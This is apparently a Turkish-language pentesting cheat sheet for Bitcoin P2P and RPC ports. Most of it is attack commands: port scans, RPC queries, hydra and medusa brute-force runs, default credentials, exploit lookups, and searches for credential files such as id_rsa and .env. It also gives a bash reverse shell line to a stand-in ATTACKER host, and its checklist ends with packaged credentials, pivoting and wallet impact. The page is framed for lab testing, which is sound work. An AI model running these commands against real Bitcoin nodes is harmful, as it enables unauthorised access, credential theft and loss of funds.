Skip to content

8333,18333,38333,18444 - Pentesting Bitcoin

Bitcoin p2p

Bitcoin P2P ağ konuşmasıdır. Asıl etki genelde açık RPC (8332) ve wallet/debug yüzeyiyle gelir. Hedef lab IP’si üzerinde komutları 8333 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 8333/18333 P2P doğrula.

  2. getaddr benzeri peer enum.

  3. RPC portlarını tara.

  4. RPC auth/brute.

Terminal window
nmap -Pn -sV -p8333,18333,38333,18444,8332 TARGET
Terminal window
bitcoin-cli -rpcconnect=TARGET getnetworkinfo
Terminal window
nc -nv TARGET 8333
Terminal window
curl -s --user user:pass --data-binary '{"jsonrpc":"1.0","id":"x","method":"getblockchaininfo","params":[]}' -H 'content-type: text/plain;' http://TARGET:8332/
Terminal window
hydra -L users.txt -P pass.txt TARGET bitcoin
cookie auth ~/.bitcoin/.cookie

,18333,38333,18444 - Bitcoin için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p8333,18333,38333,18444 TARGET
Terminal window
nmap -Pn -p8333 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:8333' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',8333));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ,18333,38333,18444 - Bitcoin
Terminal window
hydra -L users.txt -P rockyou.txt -s 8333 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 8333
Terminal window
nmap -p8333 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Bitcoin
Terminal window
msfconsole -q -x 'search Bitcoin; exit'
Terminal window
nuclei -u https://TARGET:8333 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:8333 -tags tech -silent || true
Terminal window
nc -nv TARGET 8333
Terminal window
printf '
' | timeout 3 nc -nv TARGET 8333
Terminal window
curl -vk --http1.0 http://TARGET:8333/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
P2P open → find RPC → weak auth → wallet impact